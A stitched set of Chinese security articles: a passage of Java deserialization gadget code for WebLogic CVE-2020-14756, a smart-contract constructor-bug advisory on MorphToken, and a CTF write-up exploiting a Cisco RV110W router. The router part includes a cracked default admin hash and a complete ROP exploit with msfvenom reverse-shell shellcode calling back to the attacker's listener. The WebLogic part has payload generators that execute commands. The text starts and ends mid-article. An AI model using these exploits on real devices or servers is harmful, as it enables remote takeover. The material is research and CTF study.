ChainedExtractor extractorChain = new ChainedExtractor(fakeaExtractors);
TopNAggregator.PartialResult partialResult = new TopNAggregator.PartialResult(extractorChain);
AttributeHolder attributeHolder = new AttributeHolder();
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue",Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder,partialResult);
ValueExtractor[] realaExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", null}),
new ReflectionExtractor("invoke", new Object[]{null, null}),
new ReflectionExtractor("exec", new Object[]{"touch /tmp/hpdoger"})
};
partialResult.add(Runtime.class);
Field m_aExtractor = extractorChain.getClass().getSuperclass().getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor.set(extractorChain,realaExtractors);
FileOutputStream fileOut =
new FileOutputStream("/Users/Hpdata/JavaSecurity/POCs/Weblogic/CVE-2020-14756/cve_2020_14756_1213.ser");
// 建立对象输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);
//输出反序列化对象
out.writeObject(attributeHolder);
out.close();
fileOut.close();
// FileInputStream fileIn = new FileInputStream("cve_2020_14756_1213.ser");
// ObjectInputStream input = new ObjectInputStream(fileIn);
// input.readObject();
}
}
在初始化传入了`fakeaExtractors`，防止在`partialResult.add`操作时报错
添加完add之后再调用反射重新对`ChainedExtractor`父类变量`m_aExtractor`赋值
### 12.1.3-TemplatesImpl
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.aggregator.TopNAggregator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;
import ysoserial.payloads.util.Reflections;
import static ysoserial.payloads.util.Gadgets.createTemplatesImpl;
public class CVE_2020_14756_1213 {
//还是不能bypass TemplatesImpl这个黑名单
public static void main(String[] args) throws Exception{
String cmd = "touch /tmp/hpdoger1213";
final Object templates = createTemplatesImpl(cmd, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
ValueExtractor[] fakeaExtractors = new ValueExtractor[]{
new ConstantExtractor(null)
};
//构造一个假的aExtractors数组，以便于add操作添加整数
ChainedExtractor extractorChain = new ChainedExtractor(fakeaExtractors);
TopNAggregator.PartialResult partialResult = new TopNAggregator.PartialResult(extractorChain);
AttributeHolder attributeHolder = new AttributeHolder();
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue",Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder,partialResult);
ValueExtractor[] realaExtractors = new ValueExtractor[]{
new ReflectionExtractor("newTransformer")
};
partialResult.add(templates);
Field m_aExtractor = extractorChain.getClass().getSuperclass().getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor.set(extractorChain,realaExtractors);
FileOutputStream fileOut =
new FileOutputStream("cve_2020_14756_1213.ser");
// 建立对象输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);
//输出反序列化对象
out.writeObject(attributeHolder);
out.close();
fileOut.close();
}
}
PS：学习yso的思路，如果在序列化时为了防止本地反射爆error，则可先调用toString()方法在初始化时伪装，之后再用反射赋值更改要invoke的方法
## 漏洞修补
coherence.jar补丁中，在`readExternalizableLite`方法中对反序列化的数据流调用`ObjectFilter`进行检测
## 参考链接
[安恒研究院](https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ) | 社区文章 |
作者：fenix@知道创宇404区块链安全研究团队
时间：2018年6月22日
#### 一、漏洞概述
以太坊智能合约的含义就是一组代码（函数）和数据（合约的状态），它们位于以太坊区块链的一个特定地址上。智能合约一般使用solidity语言编写。
[Morpheus Network](https://morpheus.network/ "Morpheus
Network")与世界上一些大型航运、海关和银行公司协商，通过利用区块链的智能合约技术建立一个全面服务的、全球性的、自动化的、开放的供应链平台和一个集成的加密货币支付系统
，发布基于以太坊的
[MorphToken](https://etherscan.io/token/0x2ef27bf41236bd859a95209e17a43fbd26851f92
"MorphToken")。
2018年6月22日，Morpheus Network 发[公告](https://medium.com/@themorpheus/new-morpheus-network-token-smart-contract-91b80dbc7655
"公告")称将发布新的智能合约，以更新目前含有漏洞的合约代码。新的Token名称为MRPH，新旧Token以1:1兑换。
随后，知道创宇404区块链安全研究团队开始漏洞应急，通过分析MorphToken合约代码和交易历史，确定该漏洞是由于大小写编码问题，错误的将Owned合约的构造函数Owned的首字母小写，使之成为了一个普通函数owned，任何以太坊账户均可调用该函数夺取合约的所有权，进一步实现盗币等系列非法操作。随即我们发布了相关应急报告，同时我们也注意到BCSEC安全团队发布了相关的[分析文档](https://bcsec.org/index/detail?id=157&tag=1
"分析文档")。
在后续的研究中，我们发现早在2017年8月29日，[Github](https://github.com/trailofbits/not-so-smart-contracts/blob/master/missing_constructor/Missing.sol
"Github")上就有人提到了这种因构造函数缺失导致的合约安全漏洞问题。该漏洞目前影响包括MorphToken、B2X、DoubleOrNothingImpl等多个智能合约。
#### 二、漏洞原理
在MorphToken的合约代码里：<https://etherscan.io/address/0x2ef27bf41236bd859a95209e17a43fbd26851f92#code>
可以明显的看到相关大小写编写错误：
以太坊智能合约中的构造函数主要用于初始化，如：确定合约的所有者，并且只会在合约部署时运行。在小于0.4.22版本的solidify编译器语法要求中，构造函数的名称应该和合约名称保持一致。如果程序员在编写合约时将构造函数名称写错，那么原本的构造函数将成为任何人都可以调用的普通函数。漏洞示例代码及在Remix-ide中的复现结果如下：
##### 0x01 漏洞合约部署
下图中，Bank合约继承自Owned合约。在Owned合约中，由于错误的编码，将构造函数名称写错，owned函数成为了一个普通函数。可以看到，Bank合约部署后，由于缺少构造函数，初始化时owner为0x0000000000000000000000000000000000000000。
##### 0x02 漏洞现场还原
任何以太坊账户都可以调用Bank合约继承自Owned合约的owned函数，更改Bank合约的owner变量，从而使合约所有权发生转移。
如下如所示，0x14723a09acff6d2a60dcdf7aa4aff308fddc160c这个账户调用了Bank合约的owned函数后，可以看到Bank合约的owner变成了0x14723a09acff6d2a60dcdf7aa4aff308fddc160c。同理，攻击者也可以利用这个漏洞提权，实施一系列恶意操作。
#### 三、漏洞影响评估
我们使用内部的以太坊智能合约审计系统对[以太坊主链上](https://etherscan.io/contractsVerified
"以太坊主链上")所有30000+公开智能合约进行了自动化审计，确认受该大小写编码漏洞影响的共计16个，以下为统计结果：
（受漏洞影响程度取决于合约的逻辑，具体代码审计结果可联系知道创宇404区块链安全研究团队）
理论上在合约部署后，由于编码错误引起的构造函数缺失，owner默认值会变为0x0000000000000000000000000000000000000000，这样合约中涉及到owner的函数调用都会异常，合约所有者应该能及时发现漏洞才是。然而MorphToken这种市值几百万美金的代币，因为合约存在这个编码漏洞而被盗币。通过分析Morph
Token源代码，我们得到了答案。MorphToken继承了Owned合约，但是自己实现了构造函数。就是说，是父合约向外留了一个“后门”。
另一种情况，如果合约中没有涉及owner权限的函数调用，那么即使攻击者盗取了合约所有权，也没有任何用处。上表B2X合约中就是这种情况。
总体来说，受漏洞影响的合约数量不多，属于被MorphToken带着“火”了一把的漏洞。
事实上，很多安全漏洞都来源于程序员的粗心编码，智能合约这种部署后即不可更改的更应加强代码审计。
#### 四、防护方案
1、0.4.22版本以后的solidity编译器引入了constructors关键字，以替代低版本的将合约名作为构造函数名的语法，从而避免程序员编码错误。强烈建议采用最新版本编译器。
2、技术业务咨询
知道创宇404区块链安全研究团队：<http://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016（沈经理，工作日:10:00-18:00）
欢迎扫码咨询：
#### 五、相关链接
[1] Morpheus 官网
<https://morpheus.network/>
[2] 官方公告
<https://medium.com/@themorpheus/new-morpheus-network-token-smart-contract-91b80dbc7655>
[3] 以太坊主链智能合约
<https://etherscan.io/contractsVerified>
[4] 合约构造函数缺失漏洞示例
<https://github.com/trailofbits/not-so-smart-contracts/blob/master/missing_constructor/Missing.sol>
[5] 漏洞详情参考
[https://bcsec.org/index/detail?id=157&tag=1](https://bcsec.org/index/detail?id=157&tag=1)
* * * | 社区文章 |
# 强网杯2020决赛 ciscoRV110W web服务漏洞复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
记录真机调试一个强网杯决赛的路由器题目
实验环境Ubuntu 18.04
## 题目
> **题目描述：** 挖掘并利用CISCO RV110W-E-CN-K9（固件版本1.2.2.5）中的漏洞，获取路由器的Root
> Shell，实现DNS劫持。
>
> **靶机环境：** CISCO RV110W-E-CN-K9（固件版本1.2.2.5），设置后台管理密码、WIFI密码，默认关闭telnet。
>
> **附件信息：** 附件中提供了路由器固件（固件版本1.2.2.5，与靶机版本一致），路由器设备后台管理账号为cisco，密码为qwb2020
> ，WiFi密码未设置。
>
> **展示环境拓扑：** 展台路由器WAN口连接互联网，选手攻击机和操作员验证机通过网线连接路由器LAN口，IP地址设置自动获取。
>
> **展示目标：** 选手携带自己的攻击机上台，通过有线方式连接路由器设备。在规定的时间内攻击展台路由器，获取路由器的Root
> Shell执行系统命令，劫持[http://www.baidu.com为如下页面：](http://www.baidu.xn--> com:-794fuj601eve7iy9b/)
>
>
> <html><br><br><br><h1 style="font-size:100px;color:red;"
> align="center">Hacked by BOI</h1></html>
>
>
>
> 操作人员使用验证机中的Firefox浏览器访问[http://www.baidu.com查看攻击效果，确认实现DNS劫持后判定成功。](http://www.baidu.com%E6%9F%A5%E7%9C%8B%E6%94%BB%E5%87%BB%E6%95%88%E6%9E%9C%EF%BC%8C%E7%A1%AE%E8%AE%A4%E5%AE%9E%E7%8E%B0DNS%E5%8A%AB%E6%8C%81%E5%90%8E%E5%88%A4%E5%AE%9A%E6%88%90%E5%8A%9F%E3%80%82/)
>
> **注意事项：** 上台展示题解的时候注意关闭exp的调试信息。
>
> **展示时操作人员操作步骤：**
>
> 1） 重启路由器设备；
>
> 2） 将互联网网线连接路由器WAN口；
>
> 3） 验证机通过有线方式连接路由器设备LAN口；
>
> 4） 设置验证机的DNS服务器IP地址为路由器IP；
>
> 5） 清除浏览器历史记录，清除本机的DNS缓存；
>
> 6） 等待选手连接路由器；
>
> 7） 等待选手攻击；
>
> 8） 在规定时间内可以配合选手重启路由器设备（每次重启首先要重复步骤4，5）；
>
> 9） 选手攻击完毕后，操作人员使用验证机中的浏览器访问网页验证效果；
>
> 10）攻击成功或超时后：关闭路由器。
这里只获取了路由器shell，没有完成DNS劫持
附件：
[RV110W_FW_1.2.2.5.bin](https://github.com/X1ngn/ctf/blob/master/RV110W_FW_1.2.2.8.bin)
### 设备获取
从某鱼收了一个
浏览器进`192.168.1.1`，初始用户名密码为cisco:cisco，跟着向导配置好就可以上网了
点固件升级，将题目附件刷到路由器上去
自动重启设备后，可以看到此时固件版本已经变成题目的版本了
## 基础分析
> 对一个真实设备的分析可以有不同方面的各种手段：
>
> * 本体：设备拆解，固件提取，固件分析
> * 通信：流量抓取，端口扫描，近场无线信号分析
> * 使用：应用程序（app）逆向，云端接口分析
> * 历史：历史漏洞，分析对比历史版本的固件或app
> * 调试：各种调试接口（ssh/telnet/adb/uart/jtag），前置漏洞getshell，uboot修改init，qemu模拟
>
### 端口扫描
如果是面对一个真实的设备，我们需要了解其所有可能的攻击面，故我们需要扫描其全部的udp和tcp端口：
在对设备进行扫描的时候，若要了解其所有可能的攻击面，则需要扫描全部的udp和tcp端口
sudo nmap "192.168.1.1" -sU -sT -p0-65535
但是对于路由器题目，漏洞一般还是出现Web接口上，故扫描常用端口
nmap "192.168.1.1"
固件开启了telnet服务
在访问web服务的时候，80端口被重定向到了443端口
所以web服务对应的端口应该就是443端口
### 固件解包
binwalk需要安装`sasquatch`以解开非标准的SquashFS文件系统
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
git clone https://github.com/devttys0/sasquatch
cd sasquatch && ./build.sh
（Ubuntu 18.04安装时没有报错）
直接binwalk分离
binwalk -Me RV110W_FW_1.2.2.5.bin
进入文件系统
cd ./_RV110W_FW_1.2.2.5.bin.extracted/squashfs-root
## 漏洞信息
Clang裁缝店的师傅找到CVE-2020-3330（telnet弱口令）、CVE-2020-3331（web服务）和CVE-2020-3323（web服务）三个相关的漏洞
### CVE-2020-3330
分析文章：
[一个字节的差错导致Cisco防火墙路由器远程代码执行](https://blogs.360.cn/post/yi-ge-zi-jie-cha-cuo-dao-zhi-Cisco-fang-huo-qiang-lu-you-qi-yuan-cheng-dai-ma-zhi-xing.html)
find . | xargs grep -ri "admin:\\\$"
在整个文件系统下搜索包含这个字符串的文件
这段命令将find命令的结果用管道传给xargs，xargs命令每次只获取一部分文件来交给grep处理
匹配的文件都在`/sbin`目录下而`/sbin`目录下的文件大多软链接到rc文件
strings sbin/rc | grep "admin:\\\$"
可以看到密码的哈希值`$1$aUzX1IiE$x2rSbqyggRaYAJgSRJ9uC.`，hashcat破解得到用户名密码为`admin:Admin123`，可以直接进入路由器，方便调试
### CVE-2020-3331/CVE-2020-3323
#### 确认目标程序
> 因为CVE-2020-3331和CVE-2020-3323都说的是Web，而且目标也只开放了443端口，故我们先找到Web对应的二进制程序，有两种方式：
>
> 1. 固件搜索Web相关的二进制程序
> 2. 在设备shell中查看端口绑定的进程对应的程序
>
* 由于在访问web配置页面的时候url为`https://192.168.1.1/login.cgi`，所以在文件系统中直接搜索
grep -Rn "login.cgi"
发现只有二进制文件`usr/sbin/httpd`匹配
* 使用netstat查看端口绑定的进程对应程序，发现并没有netstat工具可以下载一个[工具比较全面的busybox](https://busybox.net/downloads/binaries/1.21.1/busybox-mipsel)虽然我的路由器配置了wan口，但是路由器上只有wget，而wget直接访问下载链接会提示`not an http or ftp url`所以把busybox下载到虚拟机上，在路由器上通过wget下载它由于虚拟机默认与mac共用同样的ip地址，我们需要在虚拟机的网络适配器设置中将连接方式改为自动检测，这样虚拟机在局域网中就有了自己的ip地址
使用`ifconfig`命令查看即可看到ubuntu在局域网中的地址
然后使用python打开web服务
python -m SimpleHTTPServer
接着就可以从虚拟机将busybox下载到路由器上了
但是要注意除了`/tmp`目录一般是可写的以外，其他目录一般不可写，而且再重启后`/tmp`目录下的文件都会都会刷新
将busybox下载到`/tmp`目录下
cd tmp
wget "http://192.168.1.107:8000/mips/busybox-mipsel"
chmod +x busybox-mipsel
成功下载后可以使用busybox里面的netstat查看443端口对应的是httpd进程
在根目录下`find . | grep "httpd"`查找httpd可以看到二进制文件的路径`usr/sbin/httpd`
可以确定存在漏洞的二进制文件就是httpd文件了
#### 程序分析
检查一下目标文件信息
> 可以用ghidra或者IDA高版本反汇编MIPS目标程序，不过真实固件程序分析起来还是很复杂的，除了从main函数硬看还有很多取巧一点的经验办法：
>
> 1. 看符号，程序日志log，等有含义的字符串信息
> 2. 和已经修复漏洞的固件进行对比
> 3. 找和已知漏洞类似的模式，因为同一款产品很有可能犯同一种错误
>
>
> 这里因为可以拿到新版本的固件，所以我们采用第二种方式继续分析
可以下载[已经修复了这两个漏洞的固件](https://software.cisco.com/download/home/283879340/type/282487380/release/1.2.2.8)，由于bindiff的安装出现了不可描述的问题，这里使用[diaphora工具](https://github.com/joxeankoret/diaphora/tree/diaphora-1.2)对比两个固件文件系统中的httpd文件（最新版本的diaphora需要在IDA7.4以上支持的python3环境下运行，此链接为支持python2的分支）
我将存在漏洞的httpd文件命名为httpd1，已经修复漏洞的文件命名为httpd2，便于区分
直接下载项目，ida打开一个httpd文件，在`file->Script file`里面选择`diaphora.py`脚本
点击ok生成sqlite文件，再用ida打开另一个httpd文件，在生成sqlite文件前，加载第一个httpd文件的sqlite文件到`SQLite
database to diff against`
等待分析结束后可以查看各种匹配度的界面
因为是目标是前台getshell，所以目标`guest_logout_cgi`很可疑，右键选项中`diff pseudo-code`可以直接查看c伪代码，，但是由于IDA7.5才有mips反汇编的功能，只能选择下面的`diff assembly`看一下汇编代码
可以看到修补漏洞后的版本少了一个sscanf
伪代码是这样的
v5 = (const char *)get_cgi("cmac");
v10 = (const char *)get_cgi("cip");
v11 = (const char *)get_cgi("submit_button");
if ( !v11 )
v11 = "";
if ( v5 && v10 )
{
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
{
if ( !strstr(v11, "status_guestnet.asp") )
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);
其中sscanf的条件`"%[^;];%*[^=]=%[^\n]"`里，% 表示选择，%* 表示过滤，中括号括起来的是类似正则的字符集
1. `%[^;]`：分号前的所有字符都要
2. `;%*[^=]`：分号后，等号前的字符都不要
3. `=%[^\n]`：等号后，换行符前的所有字符都要
也就是说，如果输入字符串”aaa;bbb=ccc\n”，最终会把”aaa”写入v29，”cccc”写入v28
这里的ccc并没有长度限制，可能造成栈溢出
故分析程序路径要到达这个sscanf得有三个参数且满足对应的要求：
1. cmac：mac地址格式
2. cip：ip地址格式
3. submit_button: 包含status_guestnet.asp
>
> 那么`guest_logout_cgi`函数对应的url路由是什么呢？很遗憾我并没有从程序中分析出来，感觉有可能是`init_cgi`这个函数设置的，但是继续交叉引用到父级函数就没有结果了，于是搜索字符串找到：`guest_logout.cgi`，估计是他，但是还是没有交叉引用分析出来。
curl -k -v https://192.168.1.1/guest_logout.cgi
测试可以访问`guest_logout.cgi`
之后可以发包测试或打断点调试，判断这个sscanf的参数是通过GET还是POST传递的
>
> 因为这里可能触发漏洞，所以最优的选择就是直接发包测试，如果程序崩了，则证明GET还是POST路径选对了，而且真的存在漏洞。不过就算程序看起来没崩，也不要灰心，因为这里要确定是否有Web程序的守护进程存在，如果存在守护进程则可能看不到打崩的效果了。
测试GET请求
import requests
url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
requests.packages.urllib3.disable_warnings()
requests.get(url, data=payload, verify=False, timeout=1)
没有反应
测试POST请求
import requests
url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
requests.packages.urllib3.disable_warnings()
requests.post(url, data=payload, verify=False, timeout=1)
发送完web页面就奔溃了（`reboot`重启路由器可以重新打开httpd服务）
可以判断参数是通过POST传递的
#### 程序调试
可以从[海特实验室搜集的各种平台的gdbserver](https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%8B%E5%BA%8F/gdbserver)中下载一个gdbserver上传到路由器上去，然后挂载到httpd进程上对其进行调试
但是里面的gdbserver太多了，最后试出`gdbserver-7.12-mipsel-mips32rel2-v1-sysv`可以用
1. 每次打崩服务后重启ip地址都可能变化，查看虚拟机在局域网中的ip地址并且用python打开web服务Shell1:
ifconfig
python -m SimpleHTTPServer 8000
2. telnet连接路由器后从虚拟机下载gdbserver后附加到httpd进程上Shell2（路由器）：
cd /tmp
wget "http://192.168.1.107:8000/mips/gdbserver-7.12-mipsel-mips32rel2-v1-sysv"
chmod +x gdbserver-7.12-mipsel-mips32rel2-v1-sysv
ps | grep "httpd"
./gdbserver-7.12-mipsel-mips32rel2-v1-sysv :1234 --attach 350
（在附加到342进程时无法调试）
3. 使用gdb-multiarch加载httpd文件进行远程调试Shell3：
gdb-multiarch httpd1
set architecture mips
set endian little
target remote 192.168.1.1:1234
c
4. 发送payloadShell4：使用`cyclic 100`生成的字符串`"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"`来测试偏移
import requests
url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa',"cip":"192.168.1.100"}
requests.packages.urllib3.disable_warnings()
requests.post(url, data=payload, verify=False, timeout=1)
可以在gdb调试窗口上看到此时httpd已经崩溃了
计算出栈中pc的偏移
pwndbg> cyclic -l aaaw
85
#### 漏洞利用
由于mips架构下不支持NX保护，所以其利用思路一般都是ROP+shellcode
而这里是sscanf溢出，payload中要绕过`\x00`，但是程序本身的gadget都是含有`\x00`的
> 思科的这个设备，httpd进程的libc基址就是`2af98000`，无论你是重启进程，还是升级版本，这个基址都不变
>
>
> 问了常老师，再次猜测可能是为了效率，编译的时候就把内核的这个功能干掉了，或者当前平台压根就不支持这个功能。先存疑，总之我们发现动态库的基址都是不变的，故我们可以使用程序加载的动态库中的gadget。
暂时没有搞清楚mips架构下的地址随机化
所以可以通过ret2libc+shellcode来完成利用
从文件系统中找到动态链接库`/lib/libc.so.0`，使用mipsrop插件寻找可用的gadget
然而我在libc的idb文件中使用mipsrop插件时报错
Traceback (most recent call last):
File "D:/IDA 7.0/plugins/mipsrop.py", line 721, in activate
mipsrop = MIPSROPFinder()
File "D:/IDA 7.0/plugins/mipsrop.py", line 208, in init
self._initial_find()
File "D:/IDA 7.0/plugins/mipsrop.py", line 226, in _initial_find
self.system_calls += self._find_system_calls(start, end)
File "D:/IDA 7.0/plugins/mipsrop.py", line 393, in _find_system_calls
if ea >= start_ea and ea <= end_ea and idc.GetMnem(ea)[0] in ['j', 'b']:
IndexError: string index out of range
应该是在搜索系统调用相关gadget的时候发生了错误，打开mipsrop.py文件，注释掉报错的地方，并直接返回一个空列表
插件可以正常工作了，就是应该少了系统调用相关的gadget
找到有用的gadget
| 0x000257A0 | addiu $a0,$sp,0x58+var_40 | jalr $s0 |
| 0x0003D050 | move $t9,$a0 | jalr $a0 |
只要将shellcode写到`$sp+0x18处`，将s0覆盖为`0x0003D050`，将返回地址覆盖为`0x000257A0`，就可以在第一个gadget处先将shellcode的地址放到a0寄存器，然后跳转到第二个gadget跳转到shellcode上
shellcode可以用msfvenom生成或从[shell-storm](http://shell-storm.org/shellcode/)找到
（pwntools生成的shellcode是有`\x00`的，而自带的encode函数也不支持mips架构）
msfvenom食用方法：
[Metasploit：如何使用 msfvenom](https://xz.aliyun.com/t/2381)
这里从msfvenom生成回连的shell
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.1.102 LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py
shellcode：
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x66\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"
exp：
import requests
from pwn import *
context(arch='mips',endian='little',os='linux')
libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
#LHOST=192.168.1.102 LPORT=8888
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x66\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"
pd1 = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+'b'*(85-49-4)+p32(jmp_s0)+'c'*0x18+buf
url = "https://192.168.1.1/guest_logout.cgi"
pd2 = {
"cmac":"12:af:aa:bb:cc:dd",
"submit_button":pd1,
"cip":"192.168.1.100"
}
requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False, timeout=1)
下断点调试可以看到程序执行流已经成功跳转到栈上的shellcode
但是这样要先开一个shell等待连接
学习一下师傅在一个py脚本中通过多线程和网络编程完成攻击的方法
exp：
from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux')
libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
#LHOST=192.168.1.101 LPORT=8888
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"
url = "https://192.168.1.1/guest_logout.cgi"
pd1 = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+'b'*(85-49-4)+p32(jmp_s0)+'c'*0x18+buf
pd2 = {"cmac":"12:af:aa:bb:cc:dd","submit_button":pd1,"cip":"192.168.1.100"}
def attack():
try:
requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False,timeout=1)
except:
pass
io = listen(8888)
#创建一个TCP或UDP套接字以接收数据
thread.start_new_thread(attack,())
#开始一个新的线程，从attack函数开始运行
io.wait_for_connection()
#阻塞直到建立连接
log.success("getshell")
io.interactive()
> 参考资料
>
> [Clang裁缝店](https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/)
>
> [2020强网杯决赛Cisco路由器](https://pup2y.github.io/2020/09/18/2020-qiang-wang-bei-> jue-sai-cisco-lu-you-qi/)
>
> [快速破解各种散列Hash](https://apt404.github.io/2017/04/26/use-hashcat-crack-hash/)
>
>
> [360代码卫士帮助思科公司修复多个产品高危安全漏洞（附详细技术分析）](https://www.anquanke.com/post/id/159183)
>
> [pwntools文档](https://docs.pwntools.com/en/stable/tubes/sockets.html) | 社区文章 |
译者： **xd0ol1 (知道创宇404安全实验室)**
原文链接：<http://pwnanisec.blogspot.be/2017/02/use-after-free-in-google-hangouts.html>
